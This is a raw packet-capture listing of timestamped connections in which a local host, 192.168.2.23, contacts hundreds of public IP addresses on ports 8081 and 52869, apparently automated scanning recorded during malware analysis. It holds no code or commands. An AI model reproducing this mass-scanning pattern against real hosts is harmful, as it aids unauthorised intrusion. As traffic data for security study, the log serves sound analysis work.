Jul 20, 2024 23:00:57.743514061 CEST	8081	33197	170.198.61.146	192.168.2.23
Jul 20, 2024 23:00:57.743540049 CEST	8081	33197	116.215.92.205	192.168.2.23
Jul 20, 2024 23:00:57.743566036 CEST	8081	33197	166.169.167.246	192.168.2.23
Jul 20, 2024 23:00:57.743571043 CEST	33197	8081	192.168.2.23	199.133.38.115
Jul 20, 2024 23:00:57.743571043 CEST	33197	8081	192.168.2.23	110.138.112.123
Jul 20, 2024 23:00:57.743571043 CEST	33197	8081	192.168.2.23	102.68.235.71
Jul 20, 2024 23:00:57.743571043 CEST	33197	8081	192.168.2.23	78.217.143.245
Jul 20, 2024 23:00:57.743571043 CEST	33197	8081	192.168.2.23	78.123.14.26
Jul 20, 2024 23:00:57.743613958 CEST	8081	33197	132.76.59.231	192.168.2.23
Jul 20, 2024 23:00:57.743634939 CEST	33197	8081	192.168.2.23	139.55.215.219
Jul 20, 2024 23:00:57.743634939 CEST	33197	8081	192.168.2.23	193.238.217.83
Jul 20, 2024 23:00:57.743634939 CEST	33197	8081	192.168.2.23	95.138.253.92
Jul 20, 2024 23:00:57.743634939 CEST	33197	8081	192.168.2.23	105.194.40.224
Jul 20, 2024 23:00:57.743634939 CEST	33197	8081	192.168.2.23	161.33.41.177
Jul 20, 2024 23:00:57.743634939 CEST	33197	8081	192.168.2.23	27.4.98.245
Jul 20, 2024 23:00:57.743642092 CEST	8081	33197	100.162.245.192	192.168.2.23
Jul 20, 2024 23:00:57.743669033 CEST	8081	33197	17.178.226.56	192.168.2.23
Jul 20, 2024 23:00:57.743679047 CEST	33197	8081	192.168.2.23	141.91.113.240
Jul 20, 2024 23:00:57.743679047 CEST	33197	8081	192.168.2.23	92.220.50.119
Jul 20, 2024 23:00:57.743679047 CEST	33197	8081	192.168.2.23	37.189.207.176
Jul 20, 2024 23:00:57.743679047 CEST	33197	8081	192.168.2.23	177.171.13.110
Jul 20, 2024 23:00:57.743679047 CEST	33197	8081	192.168.2.23	170.198.61.146
Jul 20, 2024 23:00:57.743695974 CEST	8081	33197	109.187.8.110	192.168.2.23
Jul 20, 2024 23:00:57.743711948 CEST	33197	8081	192.168.2.23	170.155.185.57
Jul 20, 2024 23:00:57.743711948 CEST	33197	8081	192.168.2.23	166.169.167.246
Jul 20, 2024 23:00:57.743913889 CEST	8081	33197	34.185.172.239	192.168.2.23
Jul 20, 2024 23:00:57.743942022 CEST	8081	33197	38.118.231.114	192.168.2.23
Jul 20, 2024 23:00:57.743969917 CEST	8081	33197	162.125.157.41	192.168.2.23
Jul 20, 2024 23:00:57.743997097 CEST	8081	33197	160.123.145.166	192.168.2.23
Jul 20, 2024 23:00:57.744023085 CEST	8081	33197	139.177.229.65	192.168.2.23
Jul 20, 2024 23:00:57.744050026 CEST	8081	33197	17.122.26.116	192.168.2.23
Jul 20, 2024 23:00:57.744076014 CEST	8081	33197	203.20.177.58	192.168.2.23
Jul 20, 2024 23:00:57.744123936 CEST	8081	33197	72.40.117.101	192.168.2.23
Jul 20, 2024 23:00:57.744151115 CEST	8081	33197	75.215.96.9	192.168.2.23
Jul 20, 2024 23:00:57.744178057 CEST	8081	33197	70.98.199.37	192.168.2.23
Jul 20, 2024 23:00:57.744209051 CEST	8081	33197	65.35.42.136	192.168.2.23
Jul 20, 2024 23:00:57.744235992 CEST	8081	33197	67.183.3.181	192.168.2.23
Jul 20, 2024 23:00:57.744262934 CEST	8081	33197	123.92.21.16	192.168.2.23
Jul 20, 2024 23:00:57.744277000 CEST	33197	8081	192.168.2.23	182.180.214.71
Jul 20, 2024 23:00:57.744277954 CEST	33197	8081	192.168.2.23	155.100.131.83
Jul 20, 2024 23:00:57.744277954 CEST	33197	8081	192.168.2.23	59.229.200.93
Jul 20, 2024 23:00:57.744277954 CEST	33197	8081	192.168.2.23	162.125.252.197
Jul 20, 2024 23:00:57.744277954 CEST	33197	8081	192.168.2.23	36.127.228.209
Jul 20, 2024 23:00:57.744277954 CEST	33197	8081	192.168.2.23	116.215.92.205
Jul 20, 2024 23:00:57.744277954 CEST	33197	8081	192.168.2.23	100.162.245.192
Jul 20, 2024 23:00:57.744277954 CEST	33197	8081	192.168.2.23	139.177.229.65
Jul 20, 2024 23:00:57.744309902 CEST	8081	33197	1.84.105.163	192.168.2.23
Jul 20, 2024 23:00:57.744318962 CEST	33197	8081	192.168.2.23	75.215.96.9
Jul 20, 2024 23:00:57.744338036 CEST	8081	33197	116.185.205.111	192.168.2.23
Jul 20, 2024 23:00:57.744481087 CEST	33197	8081	192.168.2.23	125.175.39.241
Jul 20, 2024 23:00:57.744481087 CEST	33197	8081	192.168.2.23	110.69.40.121
Jul 20, 2024 23:00:57.744481087 CEST	33197	8081	192.168.2.23	177.100.171.46
Jul 20, 2024 23:00:57.744481087 CEST	33197	8081	192.168.2.23	17.178.226.56
Jul 20, 2024 23:00:57.744482040 CEST	33197	8081	192.168.2.23	162.125.157.41
Jul 20, 2024 23:00:57.744482040 CEST	33197	8081	192.168.2.23	203.20.177.58
Jul 20, 2024 23:00:57.744482040 CEST	33197	8081	192.168.2.23	116.185.205.111
Jul 20, 2024 23:00:57.744697094 CEST	33197	8081	192.168.2.23	38.118.231.114
Jul 20, 2024 23:00:57.744697094 CEST	33197	8081	192.168.2.23	72.40.117.101
Jul 20, 2024 23:00:57.744697094 CEST	33197	8081	192.168.2.23	65.35.42.136
Jul 20, 2024 23:00:57.744697094 CEST	33197	8081	192.168.2.23	123.92.21.16
Jul 20, 2024 23:00:57.744760036 CEST	33197	8081	192.168.2.23	200.9.34.92
Jul 20, 2024 23:00:57.744760036 CEST	33197	8081	192.168.2.23	180.166.2.107
Jul 20, 2024 23:00:57.744760036 CEST	33197	8081	192.168.2.23	35.138.223.208
Jul 20, 2024 23:00:57.744760990 CEST	33197	8081	192.168.2.23	24.70.215.194
Jul 20, 2024 23:00:57.744760990 CEST	33197	8081	192.168.2.23	108.229.86.142
Jul 20, 2024 23:00:57.744760990 CEST	33197	8081	192.168.2.23	198.204.0.189
Jul 20, 2024 23:00:57.744760990 CEST	33197	8081	192.168.2.23	51.75.205.142
Jul 20, 2024 23:00:57.744760990 CEST	33197	8081	192.168.2.23	34.165.154.242
Jul 20, 2024 23:00:57.745166063 CEST	33197	8081	192.168.2.23	132.76.59.231
Jul 20, 2024 23:00:57.745167017 CEST	33197	8081	192.168.2.23	34.185.172.239
Jul 20, 2024 23:00:57.745167017 CEST	33197	8081	192.168.2.23	160.123.145.166
Jul 20, 2024 23:00:57.745546103 CEST	33197	8081	192.168.2.23	109.187.8.110
Jul 20, 2024 23:00:57.745546103 CEST	33197	8081	192.168.2.23	17.122.26.116
Jul 20, 2024 23:00:57.745546103 CEST	33197	8081	192.168.2.23	70.98.199.37
Jul 20, 2024 23:00:57.745546103 CEST	33197	8081	192.168.2.23	67.183.3.181
Jul 20, 2024 23:00:57.745546103 CEST	33197	8081	192.168.2.23	1.84.105.163
Jul 20, 2024 23:00:57.746364117 CEST	33197	8081	192.168.2.23	199.93.143.131
Jul 20, 2024 23:00:57.746365070 CEST	33197	8081	192.168.2.23	180.57.92.58
Jul 20, 2024 23:00:57.746859074 CEST	8081	33197	167.5.196.93	192.168.2.23
Jul 20, 2024 23:00:57.746887922 CEST	8081	33197	72.155.11.138	192.168.2.23
Jul 20, 2024 23:00:57.746923923 CEST	33197	8081	192.168.2.23	72.155.11.138
Jul 20, 2024 23:00:57.746926069 CEST	33197	8081	192.168.2.23	167.5.196.93
Jul 20, 2024 23:00:57.746936083 CEST	8081	33197	12.21.11.223	192.168.2.23
Jul 20, 2024 23:00:57.746963978 CEST	8081	33197	152.172.112.231	192.168.2.23
Jul 20, 2024 23:00:57.746990919 CEST	8081	33197	187.121.34.51	192.168.2.23
Jul 20, 2024 23:00:57.746994019 CEST	33197	8081	192.168.2.23	12.21.11.223
Jul 20, 2024 23:00:57.747000933 CEST	33197	8081	192.168.2.23	152.172.112.231
Jul 20, 2024 23:00:57.747016907 CEST	8081	33197	191.120.136.57	192.168.2.23
Jul 20, 2024 23:00:57.747029066 CEST	33197	8081	192.168.2.23	187.121.34.51
Jul 20, 2024 23:00:57.747035027 CEST	34728	8081	192.168.2.23	191.189.55.135
Jul 20, 2024 23:00:57.747044086 CEST	8081	33197	194.136.139.171	192.168.2.23
Jul 20, 2024 23:00:57.747054100 CEST	33197	8081	192.168.2.23	191.120.136.57
Jul 20, 2024 23:00:57.747071981 CEST	8081	33197	59.39.69.40	192.168.2.23
Jul 20, 2024 23:00:57.747076035 CEST	33197	8081	192.168.2.23	194.136.139.171
Jul 20, 2024 23:00:57.747098923 CEST	8081	33197	207.108.87.118	192.168.2.23
Jul 20, 2024 23:00:57.747124910 CEST	33197	8081	192.168.2.23	59.39.69.40
Jul 20, 2024 23:00:57.747126102 CEST	8081	33197	130.84.149.112	192.168.2.23
Jul 20, 2024 23:00:57.747163057 CEST	33197	8081	192.168.2.23	130.84.149.112
Jul 20, 2024 23:00:57.747174025 CEST	8081	33197	116.255.128.246	192.168.2.23
Jul 20, 2024 23:00:57.747201920 CEST	8081	33197	97.227.151.245	192.168.2.23
Jul 20, 2024 23:00:57.747229099 CEST	8081	33197	94.246.2.178	192.168.2.23
Jul 20, 2024 23:00:57.747237921 CEST	33197	8081	192.168.2.23	97.227.151.245
Jul 20, 2024 23:00:57.747246027 CEST	33197	8081	192.168.2.23	116.255.128.246
Jul 20, 2024 23:00:57.747256041 CEST	8081	33197	186.86.99.50	192.168.2.23
Jul 20, 2024 23:00:57.747258902 CEST	33197	8081	192.168.2.23	207.108.87.118
Jul 20, 2024 23:00:57.747286081 CEST	8081	33197	19.68.100.2	192.168.2.23
Jul 20, 2024 23:00:57.747296095 CEST	33197	8081	192.168.2.23	186.86.99.50
Jul 20, 2024 23:00:57.747296095 CEST	33197	8081	192.168.2.23	94.246.2.178
Jul 20, 2024 23:00:57.747313976 CEST	8081	33197	196.226.156.240	192.168.2.23
Jul 20, 2024 23:00:57.747339010 CEST	33197	8081	192.168.2.23	196.226.156.240
Jul 20, 2024 23:00:57.747340918 CEST	8081	33197	44.36.224.100	192.168.2.23
Jul 20, 2024 23:00:57.747366905 CEST	8081	33197	98.130.244.3	192.168.2.23
Jul 20, 2024 23:00:57.747386932 CEST	33197	8081	192.168.2.23	19.68.100.2
Jul 20, 2024 23:00:57.747391939 CEST	33197	8081	192.168.2.23	44.36.224.100
Jul 20, 2024 23:00:57.747394085 CEST	8081	33197	139.109.107.242	192.168.2.23
Jul 20, 2024 23:00:57.747421026 CEST	8081	33197	104.207.29.182	192.168.2.23
Jul 20, 2024 23:00:57.747441053 CEST	33197	8081	192.168.2.23	139.109.107.242
Jul 20, 2024 23:00:57.747447968 CEST	8081	33197	86.123.248.155	192.168.2.23
Jul 20, 2024 23:00:57.747459888 CEST	33197	8081	192.168.2.23	104.207.29.182
Jul 20, 2024 23:00:57.747473955 CEST	8081	33197	176.218.221.193	192.168.2.23
Jul 20, 2024 23:00:57.747500896 CEST	8081	33197	199.233.35.122	192.168.2.23
Jul 20, 2024 23:00:57.747519970 CEST	33197	8081	192.168.2.23	98.130.244.3
Jul 20, 2024 23:00:57.747550964 CEST	33197	8081	192.168.2.23	86.123.248.155
Jul 20, 2024 23:00:57.747550964 CEST	33197	8081	192.168.2.23	199.233.35.122
Jul 20, 2024 23:00:57.747576952 CEST	33197	8081	192.168.2.23	176.218.221.193
Jul 20, 2024 23:00:57.747607946 CEST	8081	33197	126.185.109.87	192.168.2.23
Jul 20, 2024 23:00:57.747634888 CEST	8081	33197	196.101.193.183	192.168.2.23
Jul 20, 2024 23:00:57.747649908 CEST	33197	8081	192.168.2.23	126.185.109.87
Jul 20, 2024 23:00:57.747662067 CEST	8081	33197	201.0.111.182	192.168.2.23
Jul 20, 2024 23:00:57.747694969 CEST	8081	33197	205.92.6.217	192.168.2.23
Jul 20, 2024 23:00:57.747708082 CEST	33197	8081	192.168.2.23	201.0.111.182
Jul 20, 2024 23:00:57.747720957 CEST	8081	33197	94.161.124.214	192.168.2.23
Jul 20, 2024 23:00:57.747737885 CEST	33197	8081	192.168.2.23	196.101.193.183
Jul 20, 2024 23:00:57.747737885 CEST	33197	8081	192.168.2.23	205.92.6.217
Jul 20, 2024 23:00:57.747749090 CEST	8081	33197	217.91.191.72	192.168.2.23
Jul 20, 2024 23:00:57.747757912 CEST	33197	8081	192.168.2.23	94.161.124.214
Jul 20, 2024 23:00:57.747775078 CEST	8081	33197	164.236.159.228	192.168.2.23
Jul 20, 2024 23:00:57.747802973 CEST	8081	33197	51.69.9.74	192.168.2.23
Jul 20, 2024 23:00:57.747816086 CEST	33197	8081	192.168.2.23	164.236.159.228
Jul 20, 2024 23:00:57.747828960 CEST	8081	33197	153.218.69.130	192.168.2.23
Jul 20, 2024 23:00:57.747828960 CEST	33197	8081	192.168.2.23	217.91.191.72
Jul 20, 2024 23:00:57.747839928 CEST	33197	8081	192.168.2.23	51.69.9.74
Jul 20, 2024 23:00:57.747855902 CEST	8081	33197	173.240.96.241	192.168.2.23
Jul 20, 2024 23:00:57.747875929 CEST	33197	8081	192.168.2.23	153.218.69.130
Jul 20, 2024 23:00:57.747883081 CEST	8081	33197	151.144.206.36	192.168.2.23
Jul 20, 2024 23:00:57.747905970 CEST	33197	8081	192.168.2.23	173.240.96.241
Jul 20, 2024 23:00:57.747910023 CEST	8081	33197	125.116.60.54	192.168.2.23
Jul 20, 2024 23:00:57.747935057 CEST	33197	8081	192.168.2.23	151.144.206.36
Jul 20, 2024 23:00:57.747936964 CEST	8081	33197	14.203.55.143	192.168.2.23
Jul 20, 2024 23:00:57.747953892 CEST	33197	8081	192.168.2.23	125.116.60.54
Jul 20, 2024 23:00:57.747963905 CEST	8081	33197	180.21.91.119	192.168.2.23
Jul 20, 2024 23:00:57.747975111 CEST	33197	8081	192.168.2.23	14.203.55.143
Jul 20, 2024 23:00:57.747989893 CEST	8081	33197	89.0.151.247	192.168.2.23
Jul 20, 2024 23:00:57.748003006 CEST	33197	8081	192.168.2.23	180.21.91.119
Jul 20, 2024 23:00:57.748018026 CEST	8081	33197	202.129.214.230	192.168.2.23
Jul 20, 2024 23:00:57.748032093 CEST	33197	8081	192.168.2.23	89.0.151.247
Jul 20, 2024 23:00:57.748044968 CEST	8081	33197	58.185.95.247	192.168.2.23
Jul 20, 2024 23:00:57.748054981 CEST	33197	8081	192.168.2.23	202.129.214.230
Jul 20, 2024 23:00:57.748071909 CEST	8081	33197	218.160.67.202	192.168.2.23
Jul 20, 2024 23:00:57.748074055 CEST	33197	8081	192.168.2.23	58.185.95.247
Jul 20, 2024 23:00:57.748099089 CEST	8081	33197	173.190.79.30	192.168.2.23
Jul 20, 2024 23:00:57.748106956 CEST	33197	8081	192.168.2.23	218.160.67.202
Jul 20, 2024 23:00:57.748126030 CEST	8081	33197	41.188.72.159	192.168.2.23
Jul 20, 2024 23:00:57.748138905 CEST	33197	8081	192.168.2.23	173.190.79.30
Jul 20, 2024 23:00:57.748152971 CEST	8081	33197	35.214.6.254	192.168.2.23
Jul 20, 2024 23:00:57.748162985 CEST	33197	8081	192.168.2.23	41.188.72.159
Jul 20, 2024 23:00:57.748187065 CEST	33197	8081	192.168.2.23	35.214.6.254
Jul 20, 2024 23:00:57.748791933 CEST	8081	33197	38.75.104.4	192.168.2.23
Jul 20, 2024 23:00:57.748804092 CEST	8081	33197	88.117.187.215	192.168.2.23
Jul 20, 2024 23:00:57.748816013 CEST	8081	33197	187.255.41.6	192.168.2.23
Jul 20, 2024 23:00:57.748827934 CEST	33197	8081	192.168.2.23	38.75.104.4
Jul 20, 2024 23:00:57.748847008 CEST	33197	8081	192.168.2.23	88.117.187.215
Jul 20, 2024 23:00:57.748858929 CEST	33197	8081	192.168.2.23	187.255.41.6
Jul 20, 2024 23:00:57.749396086 CEST	8081	33197	193.25.194.177	192.168.2.23
Jul 20, 2024 23:00:57.749418020 CEST	8081	45724	165.83.86.189	192.168.2.23
Jul 20, 2024 23:00:57.749433994 CEST	33197	8081	192.168.2.23	193.25.194.177
Jul 20, 2024 23:00:57.749459028 CEST	45724	8081	192.168.2.23	165.83.86.189
Jul 20, 2024 23:00:57.749461889 CEST	48848	8081	192.168.2.23	31.254.206.145
Jul 20, 2024 23:00:57.749505043 CEST	8081	33197	89.52.253.157	192.168.2.23
Jul 20, 2024 23:00:57.749516964 CEST	8081	33197	90.132.26.223	192.168.2.23
Jul 20, 2024 23:00:57.749541044 CEST	33197	8081	192.168.2.23	89.52.253.157
Jul 20, 2024 23:00:57.749577045 CEST	33197	8081	192.168.2.23	90.132.26.223
Jul 20, 2024 23:00:57.750205040 CEST	8081	33197	123.164.21.255	192.168.2.23
Jul 20, 2024 23:00:57.750217915 CEST	8081	33197	167.81.221.95	192.168.2.23
Jul 20, 2024 23:00:57.750240088 CEST	33197	8081	192.168.2.23	123.164.21.255
Jul 20, 2024 23:00:57.750257969 CEST	33197	8081	192.168.2.23	167.81.221.95
Jul 20, 2024 23:00:57.750287056 CEST	8081	33197	184.89.130.111	192.168.2.23
Jul 20, 2024 23:00:57.750323057 CEST	33197	8081	192.168.2.23	184.89.130.111
Jul 20, 2024 23:00:57.750598907 CEST	8081	33197	167.88.62.89	192.168.2.23
Jul 20, 2024 23:00:57.750648022 CEST	8081	33197	39.224.92.14	192.168.2.23
Jul 20, 2024 23:00:57.750654936 CEST	33197	8081	192.168.2.23	167.88.62.89
Jul 20, 2024 23:00:57.750662088 CEST	8081	33197	200.9.34.92	192.168.2.23
Jul 20, 2024 23:00:57.750684977 CEST	33197	8081	192.168.2.23	39.224.92.14
Jul 20, 2024 23:00:57.750684977 CEST	33197	8081	192.168.2.23	200.9.34.92
Jul 20, 2024 23:00:57.751327991 CEST	8081	33197	180.166.2.107	192.168.2.23
Jul 20, 2024 23:00:57.751388073 CEST	33197	8081	192.168.2.23	180.166.2.107
Jul 20, 2024 23:00:57.751424074 CEST	8081	33197	35.138.223.208	192.168.2.23
Jul 20, 2024 23:00:57.751465082 CEST	33197	8081	192.168.2.23	35.138.223.208
Jul 20, 2024 23:00:57.751754999 CEST	8081	33197	24.70.215.194	192.168.2.23
Jul 20, 2024 23:00:57.751804113 CEST	33197	8081	192.168.2.23	24.70.215.194
Jul 20, 2024 23:00:57.751972914 CEST	8081	33197	108.229.86.142	192.168.2.23
Jul 20, 2024 23:00:57.752007961 CEST	33197	8081	192.168.2.23	108.229.86.142
Jul 20, 2024 23:00:57.753163099 CEST	57354	8081	192.168.2.23	27.92.33.187
Jul 20, 2024 23:00:57.754270077 CEST	8081	34728	191.189.55.135	192.168.2.23
Jul 20, 2024 23:00:57.754427910 CEST	34728	8081	192.168.2.23	191.189.55.135
Jul 20, 2024 23:00:57.755254030 CEST	8081	48848	31.254.206.145	192.168.2.23
Jul 20, 2024 23:00:57.755306005 CEST	48848	8081	192.168.2.23	31.254.206.145
Jul 20, 2024 23:00:57.756293058 CEST	54846	8081	192.168.2.23	91.130.196.71
Jul 20, 2024 23:00:57.758464098 CEST	8081	57354	27.92.33.187	192.168.2.23
Jul 20, 2024 23:00:57.758513927 CEST	57354	8081	192.168.2.23	27.92.33.187
Jul 20, 2024 23:00:57.758645058 CEST	47596	8081	192.168.2.23	198.50.246.46
Jul 20, 2024 23:00:57.759936094 CEST	33453	52869	192.168.2.23	86.47.78.100
Jul 20, 2024 23:00:57.759936094 CEST	33453	52869	192.168.2.23	220.67.103.53
Jul 20, 2024 23:00:57.759951115 CEST	33453	52869	192.168.2.23	80.169.60.242
Jul 20, 2024 23:00:57.759951115 CEST	33453	52869	192.168.2.23	222.190.119.99
Jul 20, 2024 23:00:57.759955883 CEST	33453	52869	192.168.2.23	144.107.249.224
Jul 20, 2024 23:00:57.759958029 CEST	33453	52869	192.168.2.23	169.150.233.153
Jul 20, 2024 23:00:57.759958029 CEST	33453	52869	192.168.2.23	205.163.186.184
Jul 20, 2024 23:00:57.759958029 CEST	33453	52869	192.168.2.23	180.174.13.101
Jul 20, 2024 23:00:57.759965897 CEST	33453	52869	192.168.2.23	172.254.31.129
Jul 20, 2024 23:00:57.759968042 CEST	33453	52869	192.168.2.23	76.83.15.33
Jul 20, 2024 23:00:57.759968042 CEST	33453	52869	192.168.2.23	199.101.245.99
Jul 20, 2024 23:00:57.759994030 CEST	33453	52869	192.168.2.23	189.130.12.191
Jul 20, 2024 23:00:57.760021925 CEST	33453	52869	192.168.2.23	68.39.90.74
Jul 20, 2024 23:00:57.760021925 CEST	33453	52869	192.168.2.23	76.157.23.198
Jul 20, 2024 23:00:57.760021925 CEST	33453	52869	192.168.2.23	23.120.218.202
Jul 20, 2024 23:00:57.760021925 CEST	33453	52869	192.168.2.23	96.36.95.33
Jul 20, 2024 23:00:57.760082960 CEST	33453	52869	192.168.2.23	133.74.101.145
Jul 20, 2024 23:00:57.760092020 CEST	33453	52869	192.168.2.23	52.180.202.38
Jul 20, 2024 23:00:57.760083914 CEST	33453	52869	192.168.2.23	135.200.191.111
Jul 20, 2024 23:00:57.760092020 CEST	33453	52869	192.168.2.23	114.83.107.94
Jul 20, 2024 23:00:57.760083914 CEST	33453	52869	192.168.2.23	110.226.62.10
Jul 20, 2024 23:00:57.760083914 CEST	33453	52869	192.168.2.23	109.37.177.11
Jul 20, 2024 23:00:57.760083914 CEST	33453	52869	192.168.2.23	154.141.69.109
Jul 20, 2024 23:00:57.760092020 CEST	33453	52869	192.168.2.23	136.238.176.112
Jul 20, 2024 23:00:57.760083914 CEST	33453	52869	192.168.2.23	174.122.192.66
Jul 20, 2024 23:00:57.760092974 CEST	33453	52869	192.168.2.23	187.177.85.110
Jul 20, 2024 23:00:57.760097980 CEST	33453	52869	192.168.2.23	208.253.85.115
Jul 20, 2024 23:00:57.760098934 CEST	33453	52869	192.168.2.23	186.164.30.194
Jul 20, 2024 23:00:57.760098934 CEST	33453	52869	192.168.2.23	139.148.235.66
Jul 20, 2024 23:00:57.760098934 CEST	33453	52869	192.168.2.23	98.67.50.123
Jul 20, 2024 23:00:57.760098934 CEST	33453	52869	192.168.2.23	113.27.90.5
Jul 20, 2024 23:00:57.760098934 CEST	33453	52869	192.168.2.23	32.147.255.178
Jul 20, 2024 23:00:57.760153055 CEST	33453	52869	192.168.2.23	186.67.197.253
Jul 20, 2024 23:00:57.760153055 CEST	33453	52869	192.168.2.23	204.171.52.138
Jul 20, 2024 23:00:57.760153055 CEST	33453	52869	192.168.2.23	39.233.146.21
Jul 20, 2024 23:00:57.760153055 CEST	33453	52869	192.168.2.23	158.144.154.108
Jul 20, 2024 23:00:57.760153055 CEST	33453	52869	192.168.2.23	102.157.199.89
Jul 20, 2024 23:00:57.760665894 CEST	33453	52869	192.168.2.23	120.169.115.81
Jul 20, 2024 23:00:57.760665894 CEST	33453	52869	192.168.2.23	108.46.58.101
Jul 20, 2024 23:00:57.760665894 CEST	33453	52869	192.168.2.23	174.226.55.202
Jul 20, 2024 23:00:57.760665894 CEST	33453	52869	192.168.2.23	221.87.31.8
Jul 20, 2024 23:00:57.760665894 CEST	33453	52869	192.168.2.23	116.246.53.31
Jul 20, 2024 23:00:57.760665894 CEST	33453	52869	192.168.2.23	194.230.22.39
Jul 20, 2024 23:00:57.760667086 CEST	33453	52869	192.168.2.23	79.149.24.140
Jul 20, 2024 23:00:57.760667086 CEST	33453	52869	192.168.2.23	1.75.123.148
Jul 20, 2024 23:00:57.760710001 CEST	33453	52869	192.168.2.23	54.14.137.23
Jul 20, 2024 23:00:57.760710001 CEST	33453	52869	192.168.2.23	36.132.135.232
Jul 20, 2024 23:00:57.760710001 CEST	33453	52869	192.168.2.23	131.96.153.95
Jul 20, 2024 23:00:57.760710001 CEST	33453	52869	192.168.2.23	144.209.127.36
Jul 20, 2024 23:00:57.760710001 CEST	33453	52869	192.168.2.23	175.231.12.152
Jul 20, 2024 23:00:57.760710001 CEST	33453	52869	192.168.2.23	153.164.44.171
Jul 20, 2024 23:00:57.760710001 CEST	33453	52869	192.168.2.23	194.216.55.169
Jul 20, 2024 23:00:57.760710001 CEST	33453	52869	192.168.2.23	67.222.108.138
Jul 20, 2024 23:00:57.760785103 CEST	33453	52869	192.168.2.23	193.103.59.197
Jul 20, 2024 23:00:57.760785103 CEST	33453	52869	192.168.2.23	54.29.63.153
Jul 20, 2024 23:00:57.760785103 CEST	33453	52869	192.168.2.23	118.30.247.113
Jul 20, 2024 23:00:57.760785103 CEST	33453	52869	192.168.2.23	152.193.200.154
Jul 20, 2024 23:00:57.760785103 CEST	33453	52869	192.168.2.23	199.18.73.232
Jul 20, 2024 23:00:57.760785103 CEST	33453	52869	192.168.2.23	125.86.109.39
Jul 20, 2024 23:00:57.760785103 CEST	33453	52869	192.168.2.23	9.110.157.12
Jul 20, 2024 23:00:57.760785103 CEST	33453	52869	192.168.2.23	136.120.113.61
Jul 20, 2024 23:00:57.760858059 CEST	33453	52869	192.168.2.23	88.237.142.195
Jul 20, 2024 23:00:57.760859013 CEST	33453	52869	192.168.2.23	151.208.66.135
Jul 20, 2024 23:00:57.760859013 CEST	33453	52869	192.168.2.23	205.3.223.82
Jul 20, 2024 23:00:57.760859013 CEST	33453	52869	192.168.2.23	27.90.186.232
Jul 20, 2024 23:00:57.760859013 CEST	33453	52869	192.168.2.23	151.138.63.80
Jul 20, 2024 23:00:57.760859013 CEST	33453	52869	192.168.2.23	113.107.255.30
Jul 20, 2024 23:00:57.760859013 CEST	33453	52869	192.168.2.23	72.249.73.229
Jul 20, 2024 23:00:57.760859013 CEST	33453	52869	192.168.2.23	141.113.133.124
Jul 20, 2024 23:00:57.761219978 CEST	33453	52869	192.168.2.23	89.47.234.242
Jul 20, 2024 23:00:57.761219978 CEST	33453	52869	192.168.2.23	82.37.244.9
Jul 20, 2024 23:00:57.761220932 CEST	33453	52869	192.168.2.23	213.226.100.36
Jul 20, 2024 23:00:57.761220932 CEST	33453	52869	192.168.2.23	188.232.101.70
Jul 20, 2024 23:00:57.761220932 CEST	33453	52869	192.168.2.23	51.28.75.23
Jul 20, 2024 23:00:57.761220932 CEST	33453	52869	192.168.2.23	40.123.209.61
Jul 20, 2024 23:00:57.761220932 CEST	33453	52869	192.168.2.23	151.222.62.102
Jul 20, 2024 23:00:57.761220932 CEST	33453	52869	192.168.2.23	74.49.211.120
Jul 20, 2024 23:00:57.761579037 CEST	8081	54846	91.130.196.71	192.168.2.23
Jul 20, 2024 23:00:57.761708021 CEST	33453	52869	192.168.2.23	82.71.200.36
Jul 20, 2024 23:00:57.761708021 CEST	33453	52869	192.168.2.23	182.158.145.112
Jul 20, 2024 23:00:57.761708021 CEST	33453	52869	192.168.2.23	167.225.108.140
Jul 20, 2024 23:00:57.761708021 CEST	33453	52869	192.168.2.23	219.15.110.97
Jul 20, 2024 23:00:57.761708975 CEST	33453	52869	192.168.2.23	69.246.36.137
Jul 20, 2024 23:00:57.761708975 CEST	33453	52869	192.168.2.23	65.245.198.30
Jul 20, 2024 23:00:57.761708975 CEST	33453	52869	192.168.2.23	157.40.141.117
Jul 20, 2024 23:00:57.761708975 CEST	33453	52869	192.168.2.23	27.25.248.43
Jul 20, 2024 23:00:57.762007952 CEST	33453	52869	192.168.2.23	34.165.228.29
Jul 20, 2024 23:00:57.762007952 CEST	33453	52869	192.168.2.23	145.16.242.35
Jul 20, 2024 23:00:57.762007952 CEST	33453	52869	192.168.2.23	140.223.195.158
Jul 20, 2024 23:00:57.762007952 CEST	33453	52869	192.168.2.23	5.60.141.98
Jul 20, 2024 23:00:57.762007952 CEST	33453	52869	192.168.2.23	42.52.130.0
Jul 20, 2024 23:00:57.762007952 CEST	33453	52869	192.168.2.23	183.235.126.59
Jul 20, 2024 23:00:57.762007952 CEST	33453	52869	192.168.2.23	75.200.220.109
Jul 20, 2024 23:00:57.762007952 CEST	33453	52869	192.168.2.23	186.198.49.181
Jul 20, 2024 23:00:57.762274981 CEST	33453	52869	192.168.2.23	34.52.30.101
Jul 20, 2024 23:00:57.762274981 CEST	33453	52869	192.168.2.23	152.96.247.192
Jul 20, 2024 23:00:57.762274981 CEST	33453	52869	192.168.2.23	79.155.217.219
Jul 20, 2024 23:00:57.762274981 CEST	33453	52869	192.168.2.23	40.214.234.197
Jul 20, 2024 23:00:57.762274981 CEST	33453	52869	192.168.2.23	181.131.116.195
Jul 20, 2024 23:00:57.762274981 CEST	33453	52869	192.168.2.23	97.64.214.88
Jul 20, 2024 23:00:57.762274981 CEST	33453	52869	192.168.2.23	76.27.59.12
Jul 20, 2024 23:00:57.762274981 CEST	33453	52869	192.168.2.23	151.150.157.129
Jul 20, 2024 23:00:57.762685061 CEST	33453	52869	192.168.2.23	95.159.80.88
Jul 20, 2024 23:00:57.762685061 CEST	33453	52869	192.168.2.23	150.157.229.189
Jul 20, 2024 23:00:57.762685061 CEST	33453	52869	192.168.2.23	174.107.183.79
Jul 20, 2024 23:00:57.762686014 CEST	33453	52869	192.168.2.23	39.24.175.151
Jul 20, 2024 23:00:57.762686014 CEST	33453	52869	192.168.2.23	149.35.135.177
Jul 20, 2024 23:00:57.762686014 CEST	33453	52869	192.168.2.23	97.139.212.113
Jul 20, 2024 23:00:57.762686014 CEST	33453	52869	192.168.2.23	104.103.214.22
Jul 20, 2024 23:00:57.762686014 CEST	33453	52869	192.168.2.23	19.210.201.99
Jul 20, 2024 23:00:57.762732983 CEST	33453	52869	192.168.2.23	175.52.108.141
Jul 20, 2024 23:00:57.762732983 CEST	33453	52869	192.168.2.23	124.37.107.8
Jul 20, 2024 23:00:57.762732983 CEST	33453	52869	192.168.2.23	9.242.198.201
Jul 20, 2024 23:00:57.762732983 CEST	33453	52869	192.168.2.23	120.154.80.223
Jul 20, 2024 23:00:57.762732983 CEST	33453	52869	192.168.2.23	117.156.47.231
